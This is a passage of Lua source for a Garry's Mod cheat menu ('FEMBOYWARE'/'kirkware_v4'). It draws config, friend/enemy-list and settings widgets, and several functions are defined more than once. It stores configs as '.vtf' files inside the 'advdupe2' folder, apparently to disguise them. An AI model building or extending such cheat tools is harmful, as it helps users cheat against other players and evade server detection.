MsgC(Color(220, 210, 230), "[FEMBOYWARE]", Color(220, 210, 230), " loaded config ", Color(168, 100, 220), name, "\n")
sNotify:Notify("Config", "Loaded \"" .. name .. "\" config", 3)
GUI.tabs = {}
InitMenu()
end
local function kirkware_v4_Delete(name)
if not name or name == "" then return end
file.Delete("advdupe2/" .. name .. ".vtf")
MsgC(Color(220, 210, 230), "[FEMBOYWARE]", Color(220, 210, 230), " deleted config ", Color(168, 100, 220), name, "\n")
sNotify:Notify("Config", "Deleted \"" .. name .. "\" config", 3)
end
local function GetBindName(bind)
if bind == "ALWAYS" then return "ALWAYS" end
if bind == MOUSE_LEFT then return "M1" end
if bind == MOUSE_RIGHT then return "M2" end
if bind == MOUSE_MIDDLE then return "M3" end
if bind == MOUSE_4 then return "M4" end
if bind == MOUSE_5 then return "M5" end
if bind == BINDINGKEY then return "..." end
if type(bind) == "number" then
if bind >= 107 and bind <= 113 then
return "M" .. (bind - 106)
end
local name = input.GetKeyName(bind)
if name then return string.upper(name) end
end
return "???"
end
local function IsBindActive(bind)
if bind == "ALWAYS" then return true end
local numBind = tonumber(bind)
if type(numBind) ~= "number" then return false end
if numBind >= 107 and numBind <= 113 then
return input.IsMouseDown(numBind)
end
return input.IsButtonDown(numBind)
end
local function DrawButton(item, x, y, w)
-- Flip colors logic: Background (hover color/bg element) -> Active (accent)
local color = COLORS.bg_element
if item.active then color = COLORS.accent end
if item.pressed then color = COLORS.accent2 end
-- Detect hover for visual feedback
local mx, my = input.GetCursorPos()
if mx and mx >= x and mx <= x + w and my >= y and my <= y + 22 then
-- When active, hover should keep it visible as active, maybe brighter?
-- Or if inactive, show bg_hover
if not item.active and not item.pressed then
color = COLORS.bg_hover
elseif item.active then
-- keep accent
end
end
DrawBorderBox(x, y, w, 22, 1, color, COLORS.border_light, 4)
local tw, th = TextSize(item.label, "KirkElement")
DrawText(item.label, "KirkElement", x + (w-tw)/2, y + (22-th)/2, COLORS.text_bright)
end
local function DrawConfigList(e, x, y, w)
local h = 0
local tx, ty, tw, th = x + 8, y, w - 60, 22
if GUI.configFocused then
if not IsValid(GUI.textEntry) then
GUI.textEntry = vgui.Create("DTextEntry")
GUI.textEntry:SetPos(tx, ty)
GUI.textEntry:SetSize(tw, th)
GUI.textEntry:SetText(GUI.configName)
GUI.textEntry:SetFont("KirkElement")
GUI.textEntry:SetDrawBackground(false)
GUI.textEntry:SetPaintBackground(false)
GUI.textEntry:SetTextColor(COLORS.text_bright)
GUI.textEntry:SetCursorColor(COLORS.text_bright)
GUI.textEntry:MakePopup()
GUI.textEntry:RequestFocus()
GUI.textEntry.OnTextChanged = function(s)
GUI.configName = s:GetText()
end
GUI.textEntry.Paint = function(s, wide, tall)
DrawRect(0, 0, wide, tall, COLORS.bg_hover)
DrawOutline(0, 0, wide, tall, COLORS.accent)
s:DrawTextEntryText(COLORS.text_bright, COLORS.accent, COLORS.text_bright)
end
else
GUI.textEntry:SetPos(tx, ty)
GUI.textEntry:SetSize(tw, th)
end
else
if IsValid(GUI.textEntry) then
GUI.textEntry:Remove()
end
DrawBorderBox(tx, ty, tw, th, 1, COLORS.bg_element, COLORS.border, 4)
DrawText(GUI.configName, "KirkElement", x + 12, y + 4, COLORS.text_bright)
end
local bx = x + w - 45
DrawRect(bx, y, 38, 22, COLORS.bg_element)
DrawOutline(bx, y, 38, 22, COLORS.border)
DrawText("Save", "KirkElement", bx + 6, y + 4, COLORS.text_normal)
local mx, my = input.GetCursorPos()
if input.IsMouseDown(MOUSE_LEFT) and (CurTime() - GUI.lastClickFrame) > 0.2 then
if mx >= tx and mx <= tx + tw and my >= ty and my <= ty + th then
GUI.configFocused = true
GUI.lastClickFrame = CurTime()
elseif mx >= bx and mx <= bx + 38 and my >= y and my <= y + 22 then
GUI.configFocused = false
if IsValid(GUI.textEntry) then GUI.textEntry:Remove() end
kirkware_v4_Save(GUI.configName)
GUI.lastClickFrame = CurTime()
else
GUI.configFocused = false
if IsValid(GUI.textEntry) then GUI.textEntry:Remove() end
end
end
h = h + 25
local configs = kirkware_v4_GetConfigs()
for _, cfg in ipairs(configs) do
local cy = y + h
DrawText(cfg, "KirkElement", x + 8, cy + 4, COLORS.text_normal)
-- Buttons: [Save] [Load] [Del]
local btnW = 35
local startX = x + w - (btnW * 3) - 10
DrawBorderBox(startX, cy, btnW, 20, 1, COLORS.bg_element, COLORS.border, 4)
DrawText("Save", "KirkElement", startX + 4, cy + 3, COLORS.accent)
if input.IsMouseDown(MOUSE_LEFT) and (CurTime() - GUI.lastClickFrame) > 0.2 and mx >= startX and mx <= startX + btnW and my >= cy and my <= cy + 20 then
GUI.configFocused = false
if IsValid(GUI.textEntry) then GUI.textEntry:Remove() end
kirkware_v4_Save(cfg)
GUI.lastClickFrame = CurTime()
end
startX = startX + btnW + 2
DrawBorderBox(startX, cy, btnW, 20, 1, COLORS.bg_element, COLORS.border, 4)
DrawText("Load", "KirkElement", startX + 4, cy + 3, COLORS.text_bright)
if input.IsMouseDown(MOUSE_LEFT) and (CurTime() - GUI.lastClickFrame) > 0.2 and mx >= startX and mx <= startX + btnW and my >= cy and my <= cy + 20 then
GUI.configFocused = false
if IsValid(GUI.textEntry) then GUI.textEntry:Remove() end
if IsValid(GUI.textEntry) then GUI.textEntry:Remove() end
kirkware_v4_Load(cfg)
GUI.configName = cfg
GUI.lastClickFrame = CurTime()
end
startX = startX + btnW + 2
DrawBorderBox(startX, cy, btnW, 20, 1, COLORS.bg_element, COLORS.border, 4)
DrawText("Del", "KirkElement", startX + 7, cy + 3, Color(255, 100, 100))
if input.IsMouseDown(MOUSE_LEFT) and (CurTime() - GUI.lastClickFrame) > 0.2 and mx >= startX and mx <= startX + btnW and my >= cy and my <= cy + 20 then
GUI.configFocused = false
if IsValid(GUI.textEntry) then GUI.textEntry:Remove() end
kirkware_v4_Delete(cfg)
GUI.lastClickFrame = CurTime()
end
h = h + 22
end
return h
end
local function DrawFriendsList(el, x, y, w)
local searchY = y
local searchH = 22
local mx, my = input.GetCursorPos()
if GUI.friendsSearchFocused then
if not IsValid(GUI.friendsTextEntry) then
GUI.friendsTextEntry = vgui.Create("DTextEntry")
GUI.friendsTextEntry:SetPos(x, searchY)
GUI.friendsTextEntry:SetSize(w, searchH)
GUI.friendsTextEntry:SetText(GUI.friendsSearch)
GUI.friendsTextEntry:SetFont("KirkElement")
GUI.friendsTextEntry:SetDrawBackground(false)
GUI.friendsTextEntry:SetPaintBackground(false)
GUI.friendsTextEntry:SetTextColor(COLORS.text_bright)
GUI.friendsTextEntry:SetCursorColor(COLORS.text_bright)
GUI.friendsTextEntry:MakePopup()
GUI.friendsTextEntry:RequestFocus()
GUI.friendsTextEntry.OnTextChanged = function(s)
GUI.friendsSearch = s:GetText()
end
GUI.friendsTextEntry.Paint = function(s, wide, tall)
DrawBorderBox(0, 0, wide, tall, 1, COLORS.bg_hover, COLORS.accent, 4)
s:DrawTextEntryText(COLORS.text_bright, COLORS.accent, COLORS.text_bright)
end
else
GUI.friendsTextEntry:SetPos(x, searchY)
GUI.friendsTextEntry:SetSize(w, searchH)
end
else
if IsValid(GUI.friendsTextEntry) then
GUI.friendsTextEntry:Remove()
end
DrawBorderBox(x, searchY, w, searchH, 1, COLORS.bg_element, COLORS.border, 4)
local searchText = GUI.friendsSearch
local nameCol = COLORS.text_normal
if searchText == "" then
searchText = "Search..."
nameCol = COLORS.text_dim
end
DrawText(searchText, "KirkElement", x + 5, searchY + 2, nameCol)
end
if input.IsMouseDown(MOUSE_LEFT) and (CurTime() - GUI.lastClickFrame) > 0.2 then
if mx >= x and mx <= x + w and my >= searchY and my <= searchY + searchH then
GUI.friendsSearchFocused = true
GUI.lastClickFrame = CurTime()
else
GUI.friendsSearchFocused = false
if IsValid(GUI.friendsTextEntry) then GUI.friendsTextEntry:Remove() end
end
end
local contentY = searchY + searchH + 4
local rowH = 22
local sbW = 4
local menuBottom = GUI.y + GUI.h - PADDING - 10
local contentMaxH = menuBottom - contentY
if contentMaxH < rowH then contentMaxH = rowH end
local filtered = {}
for _, ply in pairs(player.GetAll()) do
if ply ~= LocalPlayer() then
if GUI.friendsSearch == "" or string.find(string.lower(ply:Nick()), string.lower(GUI.friendsSearch), 1, true) then
filtered[#filtered + 1] = ply
end
end
end
local totalH = #filtered * rowH
local needsScroll = totalH > contentMaxH
local visibleH = needsScroll and contentMaxH or math.max(totalH, rowH)
local maxScroll = math.max(totalH - contentMaxH, 0)
GUI.friendsScrollOffset = math.Clamp(GUI.friendsScrollOffset or 0, 0, maxScroll)
GUI._friendsListRect = { x = x, y = contentY, w = w, h = visibleH }
local listW = needsScroll and (w - sbW - 2) or w
render.SetScissorRect(x, contentY, x + w, contentY + visibleH, true)
local offY = contentY - GUI.friendsScrollOffset
for _, ply in ipairs(filtered) do
local isSelected = (GUI.selectedPlayer == ply)
local rowColor = isSelected and COLORS.accent or COLORS.bg_panel
if mx >= x and mx <= x + listW and my >= offY and my <= offY + 20 and my >= contentY and my <= contentY + visibleH then
if not isSelected then rowColor = COLORS.bg_hover end
if input.IsMouseDown(MOUSE_LEFT) and (CurTime() - GUI.lastClickFrame) > 0.2 then
GUI.selectedPlayer = ply
GUI.lastClickFrame = CurTime()
end
end
DrawBorderBox(x, offY, listW, 20, 1, rowColor, COLORS.border_light, 4)
local sid = ply:SteamID64()
local status = config.friends[sid]
local txtColor = COLORS.text_normal
if status == "Friend" then txtColor = Color(0, 255, 0)
elseif status == "Enemy" then txtColor = Color(255, 0, 0) end
DrawText(ply:Nick(), "KirkElement", x + 5, offY + 1, txtColor)
offY = offY + rowH
end
render.SetScissorRect(0, 0, 0, 0, false)
if needsScroll then
local sbX = x + w - sbW
local sbY = contentY
draw.RoundedBox(2, sbX, sbY, sbW, visibleH, COLORS.bg_element)
local pct = contentMaxH / totalH
local gripH = math.max(20, visibleH * pct)
local gripY = sbY + (GUI.friendsScrollOffset / maxScroll) * (visibleH - gripH)
draw.RoundedBox(2, sbX, gripY, sbW, gripH, COLORS.accent)
if input.IsMouseDown(MOUSE_LEFT) then
if not GUI.friendsScrollDragging then
if (CurTime() - GUI.lastClickFrame) > 0.1 and mx >= sbX - 2 and mx <= sbX + sbW + 2 and my >= sbY and my <= sbY + visibleH then
GUI.friendsScrollDragging = true
GUI.friendsScrollStartY = my
GUI.friendsScrollStartOff = GUI.friendsScrollOffset
end
else
local diff = my - GUI.friendsScrollStartY
local trackH = visibleH - gripH
if trackH > 0 then
local scrollPerPx = maxScroll / trackH
GUI.friendsScrollOffset = math.Clamp(GUI.friendsScrollStartOff + (diff * scrollPerPx), 0, maxScroll)
end
end
else
GUI.friendsScrollDragging = false
end
end
return (searchH + 4) + visibleH
end
hook.Remove("GUIMouseWheel", "KirkFriendsScroll")
hook.Remove("PlayerBindPress", "KirkFriendsScroll")
hook.Add("CreateMove", "KirkFriendsScroll", function(cmd)
if not GUI.visible then return end
if not GUI._friendsListRect then return end
local wheel = cmd:GetMouseWheel()
if wheel == 0 then return end
local r = GUI._friendsListRect
local mx, my = input.GetCursorPos()
if mx >= r.x and mx <= r.x + r.w and my >= r.y and my <= r.y + r.h then
GUI.friendsScrollOffset = (GUI.friendsScrollOffset or 0) - wheel * 22
end
end)
local function DrawFriendsInfo(el, x, y, w)
local ply = GUI.selectedPlayer
if not IsValid(ply) then
DrawText("Select a player...", "KirkElement", x + 5, y, COLORS.text_dim)
return 22
end
local offY = 0
local lh = 22
-- Get Status for display
local sid = ply:SteamID64()
local status = config.friends[sid]
local statusText = "Neutral"
local statusColor = COLORS.text_normal
if status == "Friend" then
statusText = "Friend"
statusColor = Color(0, 255, 0)
elseif status == "Enemy" then
statusText = "Enemy"
statusColor = Color(255, 0, 0)
end
-- Info
DrawText("Name: " .. ply:Nick(), "KirkElement", x, y + offY, COLORS.text_bright)
offY = offY + lh
DrawText("Steam Name: " .. ply:Name(), "KirkElement", x, y + offY, COLORS.text_normal)
offY = offY + lh
-- "below the name & steam name put their group in the color"
DrawText("Status: " .. statusText, "KirkElement", x, y + offY, statusColor)
offY = offY + lh
DrawText("SteamID: " .. ply:SteamID(), "KirkElement", x, y + offY, COLORS.text_normal)
offY = offY + lh
DrawText("SteamID64: " .. ply:SteamID64(), "KirkElement", x, y + offY, COLORS.text_normal)
offY = offY + lh + 5
local mx, my = input.GetCursorPos()
local btnW = w - 16 -- 8px padding each side
local btnX = x + 8
-- View Profile Button
local profCol = COLORS.bg_element
if mx and mx >= btnX and mx <= btnX + btnW and my >= y + offY and my <= y + offY + 22 then
profCol = COLORS.bg_hover
if input.IsMouseDown(MOUSE_LEFT) and (CurTime() - GUI.lastClickFrame) > 0.2 then
gui.OpenURL( "https://steamcommunity.com/profiles/" .. sid )
GUI.lastClickFrame = CurTime()
end
end
DrawBorderBox(btnX, y + offY, btnW, 22, 1, profCol, COLORS.border, 4)
DrawText("View Profile", "KirkElement", btnX + btnW/2 - TextSize("View Profile", "KirkElement")/2, y + offY + 2, COLORS.text_bright)
offY = offY + 26 + 10 -- 10px spacing before the status buttons
-- Helper for buttons
local function StatusBtn(lbl, val, col)
local isActive = (status == val) -- nil == nil checks out for Neutral
local btnCol = isActive and col or COLORS.bg_element
DrawBorderBox(btnX, y + offY, btnW, 22, 1, btnCol, COLORS.border, 4)
DrawText(lbl, "KirkElement", btnX + btnW/2 - TextSize(lbl, "KirkElement")/2, y + offY + 2, COLORS.text_bright)
if mx and mx >= btnX and mx <= btnX + btnW and my >= y + offY and my <= y + offY + 22 then
if input.IsMouseDown(MOUSE_LEFT) and (CurTime() - GUI.lastClickFrame) > 0.2 then
if config.friends[sid] ~= val then
config.friends[sid] = val
local name = ply:Nick()
if val == "Friend" then
sNotify:Notify("Friends", "\"" .. name .. "\" is now friendly.", 4)
elseif val == "Enemy" then
sNotify:Notify("Friends", "\"" .. name .. "\" is now your enemy.", 4)
else
sNotify:Notify("Friends", "\"" .. name .. "\" is now Neutral.", 4)
end
end
GUI.lastClickFrame = CurTime()
end
end
offY = offY + 26
end
StatusBtn("Neutral", nil, COLORS.accent)
StatusBtn("Friend", "Friend", Color(0, 200, 0))
StatusBtn("Enemy", "Enemy", Color(200, 0, 0))
return offY
end
local function DrawConfigList(e, x, y, w)
local h = 0
local tx, ty, tw, th = x + 8, y, w - 60, 22
if GUI.configFocused then
if not IsValid(GUI.textEntry) then
GUI.textEntry = vgui.Create("DTextEntry")
GUI.textEntry:SetPos(tx, ty)
GUI.textEntry:SetSize(tw, th)
GUI.textEntry:SetText(GUI.configName)
GUI.textEntry:SetFont("KirkElement")
GUI.textEntry:SetDrawBackground(false)
GUI.textEntry:SetPaintBackground(false)
GUI.textEntry:SetTextColor(COLORS.text_bright)
GUI.textEntry:SetCursorColor(COLORS.text_bright)
GUI.textEntry:MakePopup()
GUI.textEntry:RequestFocus()
GUI.textEntry.OnTextChanged = function(s)
GUI.configName = s:GetText()
end
GUI.textEntry.Paint = function(s, wide, tall)
DrawRect(0, 0, wide, tall, COLORS.bg_hover)
DrawOutline(0, 0, wide, tall, COLORS.accent)
s:DrawTextEntryText(COLORS.text_bright, COLORS.accent, COLORS.text_bright)
end
else
GUI.textEntry:SetPos(tx, ty)
GUI.textEntry:SetSize(tw, th)
end
else
if IsValid(GUI.textEntry) then
GUI.textEntry:Remove()
end
DrawRect(tx, ty, tw, th, COLORS.bg_element)
DrawOutline(tx, ty, tw, th, COLORS.border)
DrawText(GUI.configName, "KirkElement", x + 12, y + 4, COLORS.text_bright)
end
local bx = x + w - 45
DrawRect(bx, y, 38, 22, COLORS.bg_element)
DrawOutline(bx, y, 38, 22, COLORS.border)
DrawText("Save", "KirkElement", bx + 6, y + 4, COLORS.text_normal)
local mx, my = input.GetCursorPos()
if input.IsMouseDown(MOUSE_LEFT) and (CurTime() - GUI.lastClickFrame) > 0.2 then
if mx >= tx and mx <= tx + tw and my >= ty and my <= ty + th then
GUI.configFocused = true
GUI.lastClickFrame = CurTime()
elseif mx >= bx and mx <= bx + 38 and my >= y and my <= y + 22 then
GUI.configFocused = false
if IsValid(GUI.textEntry) then GUI.textEntry:Remove() end
kirkware_v4_Save(GUI.configName)
GUI.lastClickFrame = CurTime()
else
GUI.configFocused = false
if IsValid(GUI.textEntry) then GUI.textEntry:Remove() end
end
end
h = h + 25
local configs = kirkware_v4_GetConfigs()
for _, cfg in ipairs(configs) do
local cy = y + h
DrawText(cfg, "KirkElement", x + 8, cy + 4, COLORS.text_normal)
-- Buttons: [Save] [Load] [Del]
local btnW = 35
local startX = x + w - (btnW * 3) - 10
DrawRect(startX, cy, btnW, 20, COLORS.bg_element)
DrawOutline(startX, cy, btnW, 20, COLORS.border)
DrawText("Save", "KirkElement", startX + 4, cy + 3, COLORS.accent)
if input.IsMouseDown(MOUSE_LEFT) and (CurTime() - GUI.lastClickFrame) > 0.2 and mx >= startX and mx <= startX + btnW and my >= cy and my <= cy + 20 then
GUI.configFocused = false
if IsValid(GUI.textEntry) then GUI.textEntry:Remove() end
kirkware_v4_Save(cfg)
GUI.lastClickFrame = CurTime()
end
startX = startX + btnW + 2
DrawRect(startX, cy, btnW, 20, COLORS.bg_element)
DrawOutline(startX, cy, btnW, 20, COLORS.border)
DrawText("Load", "KirkElement", startX + 4, cy + 3, COLORS.text_bright)
if input.IsMouseDown(MOUSE_LEFT) and (CurTime() - GUI.lastClickFrame) > 0.2 and mx >= startX and mx <= startX + btnW and my >= cy and my <= cy + 20 then
GUI.configFocused = false
if IsValid(GUI.textEntry) then GUI.textEntry:Remove() end
if IsValid(GUI.textEntry) then GUI.textEntry:Remove() end
kirkware_v4_Load(cfg)
GUI.configName = cfg
GUI.lastClickFrame = CurTime()
end
startX = startX + btnW + 2
DrawRect(startX, cy, btnW, 20, COLORS.bg_element)
DrawOutline(startX, cy, btnW, 20, COLORS.border)
DrawText("Del", "KirkElement", startX + 7, cy + 3, Color(255, 100, 100))
if input.IsMouseDown(MOUSE_LEFT) and (CurTime() - GUI.lastClickFrame) > 0.2 and mx >= startX and mx <= startX + btnW and my >= cy and my <= cy + 20 then
GUI.configFocused = false
if IsValid(GUI.textEntry) then GUI.textEntry:Remove() end
kirkware_v4_Delete(cfg)
GUI.lastClickFrame = CurTime()
end
h = h + 22
end
return h
end
local function DrawToggle(item, x, y, w)
DrawRect(x, y, w, 22, COLORS.bg_element)
DrawOutline(x, y, w, 22, COLORS.border)
local cb = 14
DrawRect(x + 8, y + 4, cb, cb, item.value and COLORS.accent or COLORS.bg_panel)
DrawOutline(x + 8, y + 4, cb, cb, COLORS.border_light)
-- if item.value then DrawText("✓", "DeramaSmallFont", x + 15, y + 3, COLORS.text_bright) end -- Font missing, skip checkmark
DrawText(item.label, "KirkElement", x + 28, y + 2, COLORS.text_normal)
if item.colorKey then
local cpSize = 14
local cpX = x + w - cpSize - 40
local col = config.colors[item.colorKey] or Color(255, 255, 255)
DrawRect(cpX, y + 4, cpSize, cpSize, col)
DrawOutline(cpX, y + 4, cpSize, cpSize, COLORS.border_light)
local mx, my = input.GetCursorPos()
if mx and mx >= cpX and mx <= cpX + cpSize and my >= y + 4 and my <= y + 4 + cpSize then
if input.IsMouseDown(MOUSE_LEFT) and (CurTime() - GUI.lastClickFrame) > 0.2 then
GUI.colorPicker.visible = true
GUI.colorPicker.x = mx + 20
GUI.colorPicker.y = my - 50
GUI.colorPicker.key = item.colorKey
-- Important: using key reference to config.colors
GUI.colorPicker.color = col
local h, s, v = RGBtoHSV(col.r, col.g, col.b)
GUI.colorPicker.h = h
GUI.colorPicker.s = s
GUI.colorPicker.v = v
GUI.colorPicker.callback = function(c)
config.colors[item.colorKey] = c
if item.onColorChange then item.onColorChange(c) end
end
GUI.lastClickFrame = CurTime()
end
end
end
if item.widget and item.widget.type ~= "colorpicker" then
local text = "[" .. (GetBindName(item.widget.val)) .. "]"
local textsize = TextSize(text, "KirkElement")
local bx = x + w - textsize
local by = y
local color = COLORS.accent2
local mx, my = input.GetCursorPos()
if mx and mx >= bx and mx <= bx + textsize and my >= by and my <= by + LINEHEIGHT then
color = COLORS.accent
-- Handle bind click
if input.IsMouseDown(MOUSE_LEFT) and (CurTime() - GUI.lastClickFrame) > 0.2 then
item.widget.val = BINDINGKEY
GUI.bindingKey = item.widget
GUI.lastClickFrame = CurTime()
end
end
DrawText(text, "KirkElement", bx, by, color)
end
end
local function DrawSlider(item, x, y, w)
DrawText(item.label, "KirkElement", x, y, COLORS.text_normal)
local label_width = TextSize(item.label .. " ", "KirkElement")
DrawText(item.value, "KirkElement", x + label_width, y, COLORS.text_dim)
DrawBorderBox(x, y + LINEHEIGHT, w, 8, 1, COLORS.bg_panel, COLORS.border_light, 4)
if item.value ~= item.min then
local amount = ((item.value - item.min)/(item.max - item.min))
DrawBorderBox(x, y + LINEHEIGHT, w * amount, 8, 1, COLORS.accent, COLORS.border_light, 4)
end
end
local function DrawDropdown(item, x, y, w)
DrawBorderBox(x, y, w, LINEHEIGHT, 1, COLORS.bg_element, COLORS.border_light, 4)
DrawText(item.selected, "KirkElement", x + 4, y, COLORS.text_normal)
if item.open then
DrawTriangle(
x + (w-8), y + 5,
x + (w-8) + 8, y + 5,
x + (w-8) + 8/2, y + 5 + 8,
COLORS.text_dim
)
else
DrawTriangle(
x + (w-8), y + 5 + 8/2,
x + (w-8) + 8, y + 5,
x + (w-8) + 8, y + 5 + 8,
COLORS.text_dim
)
end
if item.open then
local offY = y + LINEHEIGHT + 4
for i, opt in ipairs(item.opts) do
local color = COLORS.bg_panel
if opt == item.selected then color = COLORS.accent end
if i == 1 then
DrawBorderBox(x, offY, w, LINEHEIGHT + 4, 1, color, color, 4)
elseif i == #item.opts then
FillRect(x, offY, w + 3, 4, color)
DrawBorderBox(x, offY, w, LINEHEIGHT + 4, 1, color, color, 4)
else
FillRect(x, offY, w + 3, LINEHEIGHT + 4, color)
end
DrawText(opt, "KirkElement", x + 4, offY, COLORS.text_normal)
offY = offY + LINEHEIGHT + 4
end
end
end
local function DrawMultiselect(item, x, y, w)
DrawBorderBox(x, y, w, LINEHEIGHT, 1, COLORS.bg_element, COLORS.border_light, 4)
if #item.selected ~= 0 then
local txt = table.concat(item.selected, ", ")
local maxW = w - 20
surface.SetFont("KirkElement")
local tw = surface.GetTextSize(txt)
if tw > maxW then
while tw > maxW and #txt > 0 do
txt = string.sub(txt, 1, #txt - 1)
tw = surface.GetTextSize(txt .. "...")
end
txt = txt .. "..."
end
DrawText(txt, "KirkElement", x + 4, y, COLORS.text_normal)
else
DrawText("None", "KirkElement", x + 4, y, COLORS.text_dim)
end
if item.open then
DrawTriangle(
x + (w-8), y + 5,
x + (w-8) + 8, y + 5,
x + (w-8) + 8/2, y + 5 + 8,
COLORS.text_dim
)
else
DrawTriangle(
x + (w-8), y + 5 + 8/2,
x + (w-8) + 8, y + 5,
x + (w-8) + 8, y + 5 + 8,
COLORS.text_dim
)
end
if item.open then
local offY = y + LINEHEIGHT + 4
for i, opt in ipairs(item.opts) do
if i == 1 then
DrawBorderBox(x, offY, w, LINEHEIGHT + 4, 1, COLORS.bg_panel, COLORS.bg_panel, 4)
elseif i == #item.opts then
FillRect(x, offY, w + 3, 4, COLORS.bg_panel)
DrawBorderBox(x, offY, w, LINEHEIGHT + 4, 1, COLORS.bg_panel, COLORS.bg_panel, 4)
else
FillRect(x, offY, w + 3, LINEHEIGHT + 4, COLORS.bg_panel)
end
local color = COLORS.bg_sector
if table_contains(item.selected, opt) then
color = COLORS.accent
end
DrawBorderBox(x, offY + 1, LINEHEIGHT, LINEHEIGHT, 1, color, COLORS.border_light, 4)
DrawText(opt, "KirkElement", x + 4 + 16, offY, COLORS.text_normal)
offY = offY + LINEHEIGHT + 4
end
end
end
local function DrawLabel(item, x, y, w)
DrawText(item.label, "KirkElement", x, y, COLORS.text_normal)
local widget = item.widget
if not widget then return end
if widget.type == "colorpicker" then
DrawBorderBox(x + w - LINEHEIGHT, y + LINEHEIGHT/4, LINEHEIGHT, LINEHEIGHT/2, 1, widget.val, COLORS.border, 8)
end
end
local function DrawColorPicker()
if not GUI.colorPicker.visible then return end
local cp = GUI.colorPicker
local cx, cy = cp.x, cp.y
local cw, ch = cp.width, cp.height
draw.RoundedBox(8, cx, cy, cw, ch, COLORS.bg_main)
local svSize = 130
local svX, svY = cx + 10, cy + 10
for i = 0, svSize, 5 do
for j = 0, svSize, 5 do
local s = i / svSize
local v = 1 - (j / svSize)
local r, g, b = HSVtoRGB(cp.h, s, v)
surface.SetDrawColor(r, g, b, 255)
surface.DrawRect(svX + i, svY + j, 5, 5)
end
end
local selX = svX + (cp.s * svSize)
local selY = svY + ((1 - cp.v) * svSize)
DrawRect(selX - 2, selY - 2, 4, 4, Color(255, 255, 255))
DrawRect(selX - 3, selY - 3, 6, 6, Color(0, 0, 0))
local hX, hY, hW, hH = cx + 150, cy + 10, 20, svSize
for i = 0, hH do
local hue = (i / hH) * 360
local r, g, b = HSVtoRGB(hue, 1, 1)
surface.SetDrawColor(r, g, b, 255)
surface.DrawRect(hX, hY + i, hW, 1)
end
local hueY = hY + (cp.h / 360) * hH
FillRect(hX - 2, hueY - 1, hW + 4, 2, Color(255, 255, 255))
local aX, aY, aW, aH = cx + 10, cy + 150, 160, 15
FillRect(aX, aY, aW, aH, COLORS.bg_panel)
FillRect(aX, aY, aW * (cp.color.a / 255), aH, cp.color)
DrawRect(aX, aY, aW, aH, COLORS.border_light)
DrawText("Alpha: " .. cp.color.a, "KirkElement", aX + 2, aY, Color(0, 0, 0))
end
local function DrawGroup(group, x, y, w, max_h)
local h = 18
for i, elem in ipairs(group.elems) do
if elem.type == "toggle" then
h = h + LINEHEIGHT + 6
elseif elem.type == "button" then
h = h + 22 + 6
elseif elem.type == "friendslist" then
local listStart = y + 10 + h + 22 + 4
local menuBot = GUI.y + GUI.h - PADDING - 10
local maxH = math.max(menuBot - listStart, 22)
local totalListH = math.max(#player.GetAll() - 1, 0) * 22
h = h + (22 + 4) + math.min(totalListH, maxH) + 6
elseif elem.type == "slider" then
h = h + LINEHEIGHT + 16
elseif elem.type == "dropdown" then
h = h + LINEHEIGHT + 6
if elem.open then
h = h + #elem.opts * (LINEHEIGHT + 4) + 4
end
elseif elem.type == "multiselect" then
h = h + LINEHEIGHT + 6
if elem.open then
h = h + #elem.opts * (LINEHEIGHT + 4) + 4
end
elseif elem.type == "label" then
h = h + LINEHEIGHT + 2
elseif elem.type == "separator" then
h = h + LINEHEIGHT + 8
end
end
DrawBorderBox(
x, y, w, h, 2,
COLORS.bg_main, COLORS.border, 6
)
local namew, nameh = TextSize(group.name, "KirkTab")
FillRect(x + 8, y, namew + 6, nameh, COLORS.bg_main)
DrawText(group.name, "KirkTab", x + 10, y - nameh/2, COLORS.text_normal)
local offY = 0
for i, elem in ipairs(group.elems) do
if elem.type == "toggle" then
DrawToggle(elem, x + 8, y + 10 + offY, w - 16)
offY = offY + LINEHEIGHT + 6
elseif elem.type == "button" then
DrawButton(elem, x + 8, y + 10 + offY, w - 16)
offY = offY + 22 + 6
elseif elem.type == "friendslist" then
local fh = DrawFriendsList(elem, x + 8, y + 10 + offY, w - 16)
offY = offY + fh + 6
elseif elem.type == "slider" then
DrawSlider(elem, x + 8, y + 10 + offY, w - 16)
offY = offY + LINEHEIGHT + 16
elseif elem.type == "label" then
DrawLabel(elem, x + 8, y + 10 + offY, w - 16)
offY = offY + LINEHEIGHT + 2
elseif elem.type == "separator" then
DrawText(elem.label, "KirkElement", x + 8, y + 10 + offY, COLORS.accent)
DrawLine(
x + 8, y + 10 + offY + LINEHEIGHT + 2,
x + 8 + (w-16), y + 10 + offY + LINEHEIGHT + 2,
COLORS.bg_sector
)
offY = offY + LINEHEIGHT + 8
elseif elem.type == "dropdown" then
DrawDropdown(elem, x + 8, y + 10 + offY, w - 16)
offY = offY + LINEHEIGHT + 6
if elem.open then
offY = offY + #elem.opts * (LINEHEIGHT + 4) + 4
end
elseif elem.type == "multiselect" then
DrawMultiselect(elem, x + 8, y + 10 + offY, w - 16)
offY = offY + LINEHEIGHT + 6
if elem.open then
offY = offY + #elem.opts * (LINEHEIGHT + 4) + 4
end
elseif elem.type == "configlist" then
local h = DrawConfigList(elem, x, y + 10 + offY, w - 16)
offY = offY + h + 6
end
end
return h
end
local function DrawConfigList(e, x, y, w)
local h = 0
local tx, ty, tw, th = x + 8, y, w - 60, 22
if GUI.configFocused then
if not IsValid(GUI.textEntry) then
GUI.textEntry = vgui.Create("DTextEntry")
GUI.textEntry:SetPos(tx, ty)
GUI.textEntry:SetSize(tw, th)
GUI.textEntry:SetText(GUI.configName)
GUI.textEntry:SetFont("KirkElement")
GUI.textEntry:SetDrawBackground(false)
GUI.textEntry:SetPaintBackground(false)
GUI.textEntry:SetTextColor(COLORS.text_bright)
GUI.textEntry:SetCursorColor(COLORS.text_bright)
GUI.textEntry:MakePopup()
GUI.textEntry:RequestFocus()
GUI.textEntry.OnTextChanged = function(s)
GUI.configName = s:GetText()
end
GUI.textEntry.Paint = function(s, wide, tall)
DrawRect(0, 0, wide, tall, COLORS.bg_hover)
DrawOutline(0, 0, wide, tall, COLORS.accent)
s:DrawTextEntryText(COLORS.text_bright, COLORS.accent, COLORS.text_bright)
end
else
GUI.textEntry:SetPos(tx, ty)
GUI.textEntry:SetSize(tw, th)
end
else
if IsValid(GUI.textEntry) then
GUI.textEntry:Remove()
end
DrawRect(tx, ty, tw, th, COLORS.bg_element)
DrawOutline(tx, ty, tw, th, COLORS.border)
DrawText(GUI.configName, "KirkElement", x + 12, y + 4, COLORS.text_bright)
end
local bx = x + w - 45
DrawRect(bx, y, 38, 22, COLORS.bg_element)
DrawOutline(bx, y, 38, 22, COLORS.border)
